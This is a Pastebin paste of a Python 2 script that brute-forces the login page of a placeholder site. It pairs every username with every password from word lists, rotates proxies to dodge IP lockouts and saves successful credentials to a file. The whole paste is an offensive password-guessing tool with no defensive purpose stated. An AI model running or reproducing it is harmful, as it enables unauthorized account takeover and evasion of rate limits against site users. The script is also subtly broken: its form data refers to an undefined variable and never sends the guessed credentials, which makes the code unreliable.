Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/python
- import urllib2, urllib, cookielib, random, re, multiprocessing
- userlist = "users.txt"
- wordlist = "passwords.txt"
- proxylist = 'working-proxies.txt'
- def go(url, number, postdata):
- try:
- proxies = open(proxylist, "r").readlines()
- ip = proxies[number].replace('\n', '')
- print 'using proxy:', ip
- postreq = urllib.urlencode(postdata)
- headers = {'User-Agent' : 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6'}
- urllib2.install_opener(urllib2.build_opener(urllib2.ProxyHandler({'http': ip})))
- req = urllib2.Request(url, postreq, headers)
- response = urllib2.urlopen(req)
- source = response.read()
- #my_ip = urllib2.urlopen('http://whatthehellismyip.com/?ipraw').read()
- #print 'your ip is' , my_ip #to check if proxies are really working
- return source
- except urllib2.HTTPError, e:
- print e.code
- except urllib2.URLError, e:
- print e.args
- except:
- print "error"
- def main():
- index = 0
- users = open(userlist, "r").readlines()
- for thisu in users:
- thisu = thisu.replace('\n', '')
- words = open(wordlist, "r").readlines()
- for apass in words:
- apass = apass.replace('\n', '')
- url1 = "https://www.SITE.net/login"
- post1 = {"title":content, "title":content}
- source1 = go(url1, index, post1)
- print "trying " , thisu , ":" , apass
- if index < 963:
- index = index + 1
- else:
- index = 0
- if (("Please enter your login" not in source1) and ("Incorrect password" not in source1) and ("too many invalid logins. Please try later" not in source1)):
- f = open("./SITElogins.txt", "a")
- f.write(thisu + "\t" + apass + "\n")
- f.close()
- print "Worked! saved!"
- elif ("Incorrect user or pass" in source1):
- print "no"
- elif ("error1." in source1):
- print "too many logins from IP"
- else:
- print "unknown error"
- main();
Advertisement
Add Comment
Please, Sign In to add comment